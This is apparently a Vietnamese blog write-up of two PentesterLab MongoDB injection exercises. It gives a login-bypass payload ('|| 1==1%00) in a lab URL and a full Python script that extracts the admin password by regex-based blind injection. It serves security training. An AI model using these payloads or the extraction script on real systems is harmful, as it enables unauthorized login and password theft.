By using this site, you agree to the Privacy Policy and Terms of Use.
Accept
FantasistaFantasista
  • Home
  • Network
  • System
  • Software
  • Security
    SecurityShow More
    Hướng dẫn chung về Kali Linux
    27/05/2022
    Ransomware tấn công có chủ đích vào các tổ chức
    03/11/2021
    Series Pentesterlab – Day 22: CVE-2007-1860: mod_jk double-decoding
    04/10/2021
    Series Pentesterlab – Day 21: From SQL Injection to Shell
    15/09/2021
    Series Tryhackme – Day 01: Starting Out In Cyber Sec
    13/09/2021
  • Coding
  • Life
Search
© 2022 Foxiz News Network. Ruby Design Company. All Rights Reserved.
Reading: Series Pentesterlab – Day 10: MongoDB Injection
Share
Sign In
Notification Show More
Latest News
Hướng dẫn chung về Kali Linux
27/05/2022
Ransomware tấn công có chủ đích vào các tổ chức
03/11/2021
Hướng dẫn kích hoạt IDM Full không cần crack, sử dụng key an toàn
10/10/2021
Series Pentesterlab – Day 22: CVE-2007-1860: mod_jk double-decoding
04/10/2021
Series Pentesterlab – Day 21: From SQL Injection to Shell
15/09/2021
Aa
FantasistaFantasista
Aa
Search
Have an existing account? Sign In
Follow US
© 2022 Foxiz News Network. Ruby Design Company. All Rights Reserved.
Fantasista > Blog > Fantasista > Bảo mật > Pentest > Series Pentesterlab – Day 10: MongoDB Injection
Bảo mậtPentest

Series Pentesterlab – Day 10: MongoDB Injection

Fantasista
Fantasista 31/08/2021
Updated 2021/09/01 at 11:32 Chiều
Share
2 Min Read
SHARE
Mục lục
MongoDB Injection 01MongoDB Injection 02

MongoDB Injection 01

Ví dụ này là biểu thức nổi tiếng ' or 1=1 -- .

Nếu bạn nhớ những gì bạn đã thấy trước đây, bạn biết rằng bạn sẽ cần hai điều để bỏ qua thông tin đăng nhập này cho:

  • Một điều kiện luôn luôn đúng.
  • Một cách để chấm dứt chính xác truy vấn NoSQL.

Đầu tiên, bằng cách đọc tài liệu MongoDB, bạn có thể thấy rằng SQL or 1=1 dịch thành || 1 == 1 (lưu ý nhân đôi =). Sau đó, bằng cách xem xét xung quanh, bạn có thể thấy rằng NULL BYTE sẽ ngăn MongoDB sử dụng phần còn lại của truy vấn. Trong một số trường hợp, bạn cũng có thể sử dụng các chú thích // hoặc <!– để comment ở cuối truy vấn.

Với thông tin này, bạn sẽ có thể bỏ qua biểu mẫu xác thực. Cụ thể trong MongoDB sẽ thay ' or 1=1 -- bằng '|| 1==1%00

1
http://ptl-bb660dc4-e61f9e40.libcurl.st/?username=admin%27||%201==1%00&password=123&submit=Submit

MongoDB Injection 02

Trong ví dụ này, chúng tôi sẽ cố gắng lấy thêm thông tin từ cơ sở dữ liệu NoSQL. Sử dụng một chút công việc phỏng đoán (hoặc kiến ​​thức trước đó về ứng dụng), chúng ta có thể suy ra rằng có thể có một trường mật khẩu.

Phần này chúng ta cần dùng python để code dạng brute force:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import urllib.request
import string
URL="https://ptl-dc26e18a-bf61e93e.libcurl.st/"
 
def check(payload):
    url=URL+"/?search=admin%27%26%26this.password.match(/"+payload+"/)%00"
    print(url)
    resp=urllib.request.urlopen(url)
    data=resp.read()
    return "&gt;admin&lt;" in str(data)
 
CHARSET=list("-"+string.ascii_lowercase+string.digits)
password=""
while True:
    for c in CHARSET:
        print("Trying: " + c + " for " + password)
        test=password+c
        if check("^"+test+".*$"):
            password+=c
            print(password)
            break
        elif c==CHARSET[-1]:
            print(password)
            exit(0)

 

You Might Also Like

Hướng dẫn chung về Kali Linux

Ransomware tấn công có chủ đích vào các tổ chức

Series Pentesterlab – Day 22: CVE-2007-1860: mod_jk double-decoding

Series Pentesterlab – Day 21: From SQL Injection to Shell

Series Tryhackme – Day 01: Starting Out In Cyber Sec

Sign Up For Daily Newsletter

Be keep up! Get the latest breaking news delivered straight to your inbox.
By signing up, you agree to our Terms of Use and acknowledge the data practices in our Privacy Policy. You may unsubscribe at any time.
Fantasista 31/08/2021
Share this Article
Facebook TwitterEmail Copy Link Print
Share
Posted by Fantasista
Follow:
Xin chào, mình là Tân. Mình tạo blog này 01/06/2021. Đây là nơi mình ghi chép lại những suy nghĩ, cảm nhận trong cuộc sống và những kiến thức mà mình học được.
Previous Article Series Pentesterlab – Day 09: LDAP
Next Article Series Pentesterlab – Day 11: Open Redirect
Leave a comment Leave a comment

Trả lời Hủy

Email của bạn sẽ không được hiển thị công khai. Các trường bắt buộc được đánh dấu *

Stay Connected

235.3k Followers Like
69.1k Followers Follow
11.6k Followers Pin
56.4k Followers Follow
136k Subscribers Subscribe
4.4k Followers Follow
- Advertisement -
Ad imageAd image

Latest News

Hướng dẫn chung về Kali Linux
Bảo mật Công cụ bảo mật 27/05/2022
Ransomware tấn công có chủ đích vào các tổ chức
An toàn thông tin Bảo mật 03/11/2021
Hướng dẫn kích hoạt IDM Full không cần crack, sử dụng key an toàn
Phần mềm Tiện ích 10/10/2021
Series Pentesterlab – Day 22: CVE-2007-1860: mod_jk double-decoding
Bảo mật Pentest 04/10/2021
https://pbs.twimg.com/profile_images/1542611508093661184/MR5LYGqH_normal.jpg
@envato
1.5k Following
71k Followers
https://pbs.twimg.com/profile_images/1542611508093661184/MR5LYGqH_normal.jpg 1 giờ ago
@reputeinfosys Hi there, can you provide us with the ticket number to your request and we will make sure someone ge… https://t.co/TPdKynvll8
https://pbs.twimg.com/profile_images/1542611508093661184/MR5LYGqH_normal.jpg 1 giờ ago
@joeyancey_ Hi there, we would be more than willing to review this case for you. Please submit a support ticket her… https://t.co/V7jXIg1G3q
https://pbs.twimg.com/profile_images/1542611508093661184/MR5LYGqH_normal.jpg 10 giờ ago
@barts_ron Hi! Thanks for contacting us. It looks like all our systems are running smoothly. You can check the stat… https://t.co/Haz9yXFnMM

You Might also Like

Hướng dẫn chung về Kali Linux

27/05/2022
An toàn thông tinBảo mật

Ransomware tấn công có chủ đích vào các tổ chức

03/11/2021
Bảo mậtPentest

Series Pentesterlab – Day 22: CVE-2007-1860: mod_jk double-decoding

04/10/2021
Bảo mậtPentest

Series Pentesterlab – Day 21: From SQL Injection to Shell

15/09/2021
//

We influence 20 million users and is the number one business and technology news network on the planet

Quick Link

  • About
  • Contact
  • FAQs

Top Categories

  • Home
  • Network
  • System
  • Software
  • Security
  • Coding
  • Life
FantasistaFantasista
Follow US

© 2022 Foxiz News Network. Ruby Design Company. All Rights Reserved.

Join Us!

Subscribe to our newsletter and never miss our latest news, podcasts etc..

Zero spam, Unsubscribe at any time.

Removed from reading list

Undo
Welcome Back!

Sign in to your account

Register Lost your password?